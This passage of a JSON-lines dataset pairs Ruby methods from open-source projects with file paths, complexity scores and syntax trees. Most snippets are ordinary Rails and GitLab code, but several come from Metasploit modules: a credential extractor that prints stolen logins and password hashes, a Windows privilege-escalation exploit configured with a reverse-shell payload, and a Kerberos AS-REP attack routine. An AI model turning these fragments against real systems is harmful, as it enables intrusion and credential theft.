ype\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"matching_job\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_present\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No enqueued job found with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]}]}]}]}]}]}","id":"5801ef55-63b3-4b9e-85ce-d8e22b4c3333"}
{"repo_name":"rails","file_path":"./repos/rails/guides/rails_guides/markdown/renderer.rb","start_line":45,"raw_source":"def link(url, title, content)\n        if %r{https?://api\\.rubyonrails\\.org}.match?(url)\n          %(<a href=\"#{api_link(url)}\">#{content}</a>)\n        elsif title\n          %(<a href=\"#{url}\" title=\"#{title}\">#{content}</a>)\n        else\n          %(<a href=\"#{url}\">#{content}</a>)\n        end\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"https?://api\\\\.rubyonrails\\\\.org\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<a href=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_link\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\"</a>\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<a href=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\"\\\" title=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\"</a>\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<a href=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\"</a>\"]}]}]}]}]}","id":"1addc261-04a1-451d-ae82-89991befdc65"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb","start_line":192,"raw_source":"def logger(request)\n        request.logger || ActionView::Base.logger || stderr_logger\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"logger\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"logger\"]}]},{\"type\":\"send\",\"children\":[null,\"stderr_logger\"]}]}]}","id":"b4a48ac8-01d7-4562-b2a1-e3a7e40a364f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/identifier.rb","start_line":46,"raw_source":"def identify_with_cache(category, key)\n      if identification_cache[category].key?(key)\n        identification_cache[category][key]\n      else\n        identification_cache[category][key] = yield\n      end\n    end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"identify_with_cache\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identification_cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"category\"]}]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identification_cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"category\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identification_cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"category\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"2ca54d17-c5fb-4a54-a79f-02a928e29ffe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/blob.rb","start_line":93,"raw_source":"def batch(repository, blob_references, blob_size_limit: MAX_DATA_DISPLAY_SIZE)\n          blob_references.each_slice(BATCH_SIZE).flat_map do |refs|\n            repository.gitaly_blob_client.get_blobs(refs, blob_size_limit).to_a\n          end\n        end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"batch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]},{\"type\":\"arg\",\"children\":[\"blob_references\"]},{\"type\":\"kwoptarg\",\"children\":[\"blob_size_limit\",{\"type\":\"const\",\"children\":[null,\"MAX_DATA_DISPLAY_SIZE\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob_references\"]},\"each_slice\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"refs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"gitaly_blob_client\"]},\"get_blobs\",{\"type\":\"lvar\",\"children\":[\"refs\"]},{\"type\":\"lvar\",\"children\":[\"blob_size_limit\"]}]},\"to_a\"]}]}]}","id":"ab8b8386-4929-4127-baaf-4e374683073d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/dashboard_controller.rb","start_line":64,"raw_source":"def load_events\n    @events =\n      case params[:filter]\n      when \"projects\", \"starred\"\n        load_project_events\n      when \"followed\"\n        load_user_events(current_user.followees)\n      else\n        load_user_events(current_user)\n      end\n\n    Events::RenderService.new(current_user).execute(@events)\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load_events\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@events\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"projects\"]},{\"type\":\"str\",\"children\":[\"starred\"]},{\"type\":\"send\",\"children\":[null,\"load_project_events\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"followed\"]},{\"type\":\"send\",\"children\":[null,\"load_user_events\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"followees\"]}]}]},{\"type\":\"send\",\"children\":[null,\"load_user_events\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Events\"]},\"RenderService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\",{\"type\":\"ivar\",\"children\":[\"@events\"]}]}]}]}","id":"0474e01c-4cf0-42ca-be17-d053135725c8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb","start_line":54,"raw_source":"def process_row(row)\n    if row[:user_login] && row[:user_pass]\n      print_good(\"Found credential: #{row[:user_login]}:#{row[:user_pass]}\")\n\n      credential_data = {\n        origin_type: :service,\n        module_fullname: fullname,\n        private_type: :nonreplayable_hash,\n        address: ::Rex::Socket.getaddress(rhost, true),\n        port: rport,\n        protocol: 'tcp',\n        service_name: ssl ? 'https' : 'http',\n        username: row[:user_login],\n        private_data: row[:user_pass],\n        workspace_id: myworkspace_id\n      }\n\n      credential_core = create_credential(credential_data)\n      login_data = {\n        core: credential_core,\n        status: Metasploit::Model::Login::Status::UNTRIED\n      }\n      login_data.merge!(credential_data)\n      create_credential_login(login_data)\n    end\n  end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_login\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_pass\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found credential: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_login\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_pass\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Socket\"]},\"getaddress\",{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_pass\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]},null]}]}","id":"d6a5c41f-e2ec-4098-b66d-0528ab5b6695"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/grids/copy_service.rb","start_line":56,"raw_source":"def set_attributes_params(_params)\n      source.dup.attributes\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_attributes_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"dup\"]},\"attributes\"]}]}","id":"5a76a91c-1134-4c7a-bf45-650b3b20f6b5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests/conflicts_controller.rb","start_line":86,"raw_source":"def serializer\n    MergeRequestSerializer.new(current_user: current_user, project: project)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestSerializer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}","id":"62ef6bca-8d09-4f89-aab6-e08841af3784"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/users/redirect_controller.rb","start_line":21,"raw_source":"def user_params\n      params.permit(:id)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"a8928fc7-bb94-439b-b9a9-350be1890b44"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/boards_actions.rb","start_line":41,"raw_source":"def board\n    board_finder.execute.first\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"board\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"board_finder\"]},\"execute\"]},\"first\"]}]}","id":"af1bf568-b37e-476c-b8b8-d46176e0bb26"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/concerns/queue.rb","start_line":110,"raw_source":"def queue_name\n          name_elements[-1].underscore\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"queue_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name_elements\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"underscore\"]}]}","id":"d6bd3bd0-3925-4d5c-9fcb-8c84b2b428fa"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/problem_check_tracker.rb","start_line":64,"raw_source":"def details_with_target(details)\n    details.merge(target: resolved_target)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"details_with_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"details\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"send\",\"children\":[null,\"resolved_target\"]}]}]}]}]}","id":"18a83d45-ec19-4403-841d-20704ac48510"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb","start_line":17,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'GOG GalaxyClientService Privilege Escalation',\n        'Description' => %q{\n          This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed\n          with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are\n          also likely affected).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Joe Testa <jtesta[at]positronsecurity.com>'\n        ],\n        'Platform' => [ 'win' ],\n        'Arch' => [ ARCH_X86, ARCH_X64 ],\n        'SessionTypes' => [ 'meterpreter' ],\n        'Targets' => [\n          [\n            'Windows (Dropper)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ ARCH_X86, ARCH_X64 ],\n              'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' },\n              'Type' => :dropper\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2020-04-28',\n        'References' => [\n          ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'],\n          ['CVE', '2020-7352']\n        ],\n        'Notes' => {\n          'SideEffects' => [ ARTIFACTS_ON_DISK ],\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'Stability' => [ CRASH_SAFE ]\n        },\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_railgun_api\n            ]\n          }\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]),\n        OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\\\\'])\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"GOG GalaxyClientService Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed\\n\"]},{\"type\":\"str\",\"children\":[\"          with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are\\n\"]},{\"type\":\"str\",\"children\":[\"          also likely affected).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Joe Testa <jtesta[at]positronsecurity.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows (Dropper)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"windows/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"dropper\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-04-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-7352\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_railgun_api\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path for the payload\"]},{\"type\":\"str\",\"children\":[\"%TEMP%\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WORKING_DIR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The initial working directory of the file_path\"]},{\"type\":\"str\",\"children\":[\"C:\\\\\"]}]}]}]}]}]}]}","id":"13dd799c-d174-4bc5-99af-2f1d965928c7"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/initializers_test.rb","start_line":44,"raw_source":"def run_initializers_command(args = [])\n      rails \"initializers\", args\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_initializers_command\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"initializers\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}","id":"dc0c7e8c-d136-47f9-8e3c-77243f07491d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/asrep.rb","start_line":63,"raw_source":"def run\n    case action.name\n    when 'BRUTE_FORCE'\n      run_brute\n    when 'LDAP'\n      run_ldap\n    end\n  rescue Errno::ECONNRESET\n    fail_with(Failure::Disconnected, 'The connection was reset.')\n  rescue Rex::ConnectionError => e\n    fail_with(Failure::Unreachable, e.message)\n  rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e\n    fail_with(Failure::NoAccess, e.message)\n  rescue Net::LDAP::Error => e\n    fail_with(Failure::Unknown, \"#{e.class}: #{e.message}\")\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"BRUTE_FORCE\"]},{\"type\":\"send\",\"children\":[null,\"run_brute\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"LDAP\"]},{\"type\":\"send\",\"children\":[null,\"run_ldap\"]}]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNRESET\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Disconnected\"]},{\"type\":\"str\",\"children\":[\"The connection was reset.\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\": 